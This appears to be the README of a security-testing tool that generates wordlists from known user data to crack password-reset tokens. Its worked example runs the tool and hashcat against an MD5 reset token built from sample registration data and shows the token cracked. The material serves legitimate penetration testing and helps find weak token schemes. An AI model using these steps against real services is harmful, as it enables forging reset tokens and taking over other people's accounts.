Words list generator to crack security tokens.
$ git clone https://github.com/dariusztytko/token-reverser.git
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You are testing reset password function
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Reset password token was sent to your email box (e.g. 582431d4c7b57cb4a3570041ffeb7e10)
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You suppose, it is a md5 hash of the data you provided on registration
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On registration you entered the following data:
- First name: Foo
- Last name: Bar
- Email: foo.bar@example.com
- Birth date: 1985-05-23
- Phone: 202-555-0185
- Address: 3634 Forest Drive
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In addition, you have an access to the following extra data:
- Application user ID: 74824
- Date of the reset password HTTP request ("Date" response header): Tue, 10 Mar 2020 17:12:59 GMT
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Use Token Reverser to generate words list from the known data:
python3 token-reverser.py --date "Tue, 10 Mar 2020 17:12:59 GMT" Foo Bar foo.bar@example.com 1985-05-23 202-555-0185 "3634 Forest Drive" 74824 > words
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Use hashcat to crack reset password token:
hashcat64.exe -m 0 582431d4c7b57cb4a3570041ffeb7e10 words hashcat (v5.1.0) starting... [...] 582431d4c7b57cb4a3570041ffeb7e10:74824!Foo!Bar!foo.bar@example.com!1583860379 Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: 582431d4c7b57cb4a3570041ffeb7e10 [...]
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Now you know that reset password tokens are generated as follows:
md5(user ID!first name!last name!email!current timestamp)
usage: token-reverser.py [-h] [-d DATE] [-o TIMESTAMP_OFFSET] [-s SEPARATORS]
data [data ...]
Words list generator to crack security tokens v1.2
positional arguments:
data data chunks
optional arguments:
-h, --help show this help message and exit
-d DATE, --date DATE timestamp from this date will be used as an additional
data chunk, example: Tue, 10 Mar 2020 14:06:36 GMT
-o TIMESTAMP_OFFSET, --timestamp-offset TIMESTAMP_OFFSET
how many previous (to timestamp from date) timestamps
should be used as an additional data chunks, default: 1
-s SEPARATORS, --separators SEPARATORS
data chunks separators to check, default:
~`!@#$%^&*()_+-={}|[]\:";'<>?,./ \t
Please see the CHANGELOG